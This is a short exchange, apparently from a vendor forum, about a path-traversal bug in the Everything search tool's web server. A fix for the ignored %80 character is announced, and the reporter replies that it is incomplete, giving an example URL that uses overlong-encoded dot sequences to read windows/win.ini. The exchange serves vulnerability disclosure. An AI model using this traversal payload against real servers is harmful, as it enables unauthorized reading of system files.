Thank you for the security issue report Silver,

Everything-1.4.1.1023 and Everything 1.5.0.1346a fixes an issue with Everything ignoring the invalid %80 character.

Thank you for the quick response to the request. Unfortunately, this did not completely solve the problem.

It is still possible to get access via other characters. Example:
[EverythingURL]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini
